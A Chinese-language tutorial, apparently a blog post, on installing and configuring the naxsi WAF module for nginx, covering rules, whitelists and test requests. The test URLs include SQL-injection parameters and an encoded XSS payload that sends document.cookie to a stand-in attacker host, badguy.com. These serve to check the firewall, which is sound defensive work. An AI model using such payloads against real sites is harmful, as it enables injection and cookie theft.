== 对于nginx有相应模块来完成WAF构建,此处使用的是naxsi模块。 ==
Naxsi是一个开放源代码、高效、低维护规则的Nginx web应用防火墙模块。Naxsi的主要目标是帮助人们加固他们的web应用程序,以抵御SQL注入、跨站脚本、跨域伪造请求、本地和远程文件包含漏洞。
一、安装前提
1.必须安装了nginx并可提供基本服务(这个是添加模块儿的前提,自己google吧);
2.下载naxsi模块:Naxsi :http://naxsi.googlecode.com/files/naxsi-core-0.50.tgz ;
二、安装说明
1、tar -xzvf naxsi-core-0.50.tgz 解压,并进入naxsi-core-0.50/naxsi_src目录下;
2、执行make & make install 命令,当然也可以使用 ./configure 指定安装位置等参数;
3、完成安装后,需要将其与nginx关联起来:
》》在安装好的nginx/sbin/下执行./nginx -V 命令,可以查看到nginx的原有./configure配置,复制后并添加naxsi模块的路径如下。
对于此次安装 cd /app/uatg1/lua_install/tengine-1.4.1(nginx的源文件目录)下
执行命令:./configure --prefix=/app/uatg1/nginx --conf-path=/app/uatg1/nginx/conf/nginx.conf 。。。。。。等原有的。
添加:--add-module=/app/uatg1/lua_install/naxsi-core-0.50/naxsi_src
可以看到执行过程显示,最后可以看到,naxsi被关联,configure成功。
4、对其执行 make & make install 命令,重新编译;
三、配置说明
官网说明见 : http://code.google.com/p/naxsi/wiki/Howto#Installing_nginx_+_naxsi ;
1、将naxsi的:naxsi-core-0.50/naxsi_config/目录下核心配置naxsi_core.rules拷贝到nginx/conf/目录下;
2、在nginx/conf/目录下新建naxsi_nbs.rules文件,用以配置使用;
3、在nginx.conf中配置:
1>、添加naxsi核心配置
http {
#include /app/uatg1/lua_install/naxsi-core-0.50/naxsi_config/naxsi_core.rules;
#若步做上第一步,则需要指定全路径
include naxsi_core.rules;
include mime.types;
.....
}
2>、
# 配置防攻击
location /xss {
include naxsi_nbs.rules; #配置信息 #include naxsi_BasicRule.conf; #设置 whitelist (白名单)配置
default_type text/plain;
content_by_lua '
ngx.say("({\'Test xss ,come in please!!!\'})");
';
root html;
}
location /RequestDenied {
return 403;
#proxy_pass [http://10.142.138.61:7130/eop/; http://10.142.138.61:7130/eop/;
]}
error_page 403 /403.html; # 在nginx/html/目录下新建的页面用来提示拦截
3>、配置naxsi_nbs.rules文件
#LearningMode; #Enables learning mode
SecRulesEnabled;
#SecRulesDisabled;
DeniedUrl "/RequestDenied";
## check rules
CheckRule "$SQL >= 8" BLOCK;
CheckRule "$RFI >= 8" BLOCK;
CheckRule "$TRAVERSAL >= 4"
BLOCK; CheckRule "$EVADE >= 4" BLOCK;
CheckRule "$XSS >= 8" BLOCK;
4、还可以添加白名单naxsi_BasicRule.conf
测试使用:
BasicRule wl:0 "mz:$ARGS_VAR:script";
BasicRule wl:0 "mz:$ARGS_VAR:id";
表示xss攻击正常是被拦截的,若被添加白名单,则不被拦截:此处是Get 参数名若为id 或者script,则不被拦截;
BasicRule:规则说明,具体参见: http://code.google.com/p/naxsi/wiki/BasicRule
wl:ID (WhiteList): Which rule ID(s) are whitelisted.
mz: (MatchZones): Specify the conditions to match for the rule to be whitelisted. A MatchZone must be specified in a nginx location context to enable a rule.
◦ARGS : GET args
◦HEADERS : HTTP Headers
◦BODY : POST args
◦URL : The URL (before '?')
◦NAME : It's a suffix, indicating that the target element is the NAME of the var, not its content.
For example a whitelist targetting BODY|NAME means that the exception were triggered in the "name" of some POST (BODY) variables.
四、测试使用说明
1、启动nginx(若已经启动,kill掉原来执行的nginx),再重新启动,这点要切记!
2、测试链接:
http://10.142.138.61:8888/xss/ 通过
http://10.142.138.61:8888/xss/?id=40/**/and/**/1=1 通过,因为配置到白名单
http://10.142.138.61:8888/xss/?name=40/**/and/**/1=1 不通过,含有条件注入
http://10.142.138.61:8888/xss/?name=%28%29 不通过,特殊字符
http://10.142.138.61:8888/xss/?term=%3Cscript%3Ewindow.open%28%22http://badguy.com?cookie=%22+document.cookie%29%3C/script%3E
不通过,参数内容含脚本注入
http://10.142.138.61:8888/xss/?title=meta%20http-equiv=%22refresh%22%20content=%220;%22
不通过
相关推荐
linux下安装及配置nginx+naxsi,图文详细安装过程
主要介绍了Nginx中防止SQL注入攻击的相关配置介绍,文中提到的基本思路为将过滤的情况用rewrite重订向到404页面,需要的朋友可以参考下
今天小编就为大家分享一篇对nginx-naxsi白名单规则详解,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
nginx.conf nginx-1.20.1.tar.gz 这是关于centos8的nginx 和nginx 的配置https文件
Nginx完整配置说明,入门级的,高级指令不在这,得自己买书看,别下错了,基本部署用的
Nginx配置文件 nginx.conf 详解doc文档
使用WebUI配置nginx的各项功能, 包括http协议转发, tcp协议转发, 反向代理, 负载均衡, ssl证书自动申请、续签、配置等, 最终生成nginx.conf文件并覆盖nginx的默认配置文件, 完成nginx的最终功能配置。 支持nginx...
关于nginx+tomcat 的配置文件,及详细介绍
nginx配置+https
网络上很难找到非常详细的...本文档通过真实的实践经验,从安装OpenSSL和Nginx,到利用openssl生成证书,配置nginx的https(包括配置http请求转发到https)等,详细总结出nginx配置https的步骤,最终能帮助你配置成功。
Nginx官网配置.pdf Nginx基本配置.pdf Nginx模块.pdf Nginx指南.pdf 第1章 Nginx简介.pdf 第2章 Nginx服务器的安装与配置.pdf 第3章 Nginx的基本配置与优化.pdf 第4章 Nginx与PHP(FastCGI)的安装、配置与优化.pdf 第...
nginx配置文件修改保存,自动加载重启,并检查配置文件是否修改成功。 Windows下使用nginx,启动之后,再修改配置文件,无需命令重新加载,修改保存配置文件,实时更新nginx重启。
nginx配置 +负载均衡+https协议 完整的配置以及nginx 启动 停止 重新加载
nginx配置 nginx配置文件参考 nginx配置文件参考
Nginx配置文件原始版本,这是刚下来的Nginx服务器最原始的版本内容,下载覆盖即可。
1.3. 哪里使用到nginx 1.4. Nginx和Apache的区别 2. 安装Nginx服务器 2.1. 在windows上安装 2.2. 在Linux上安装 2.2.1. 写在前面 2.2.2. 准备使用yum安装nginx的运行环境 2.2.3. 安装pcre 2.2.4. 安装zlib库...
Belial 目前包含的模块有 : GET 、 POST 、 COOKIE SQL注入防御、文件上传控制、POST白名单审核、nginx路径解释防御、封IP、 自动拦截防御 cc防御。 防御面向的语言是 php .. 其他的~不做考虑 。启用 belial waf ...
当网站的访问量达到一定程度后,单台服务器不能满足用户的请求时,需要用多台服务器集群可以使用 nginx 做反向代理。并且多台服务器可以平均分担负载,不会因为某台服务器负载高宕机而某台服务器闲置的情况。
提供了小程序https服务在nginx环境下的配置示例,包括https配置和小程序扫二维码打开小程序时需要在nginx服务端放置小程序二维码扫描校验文件的配置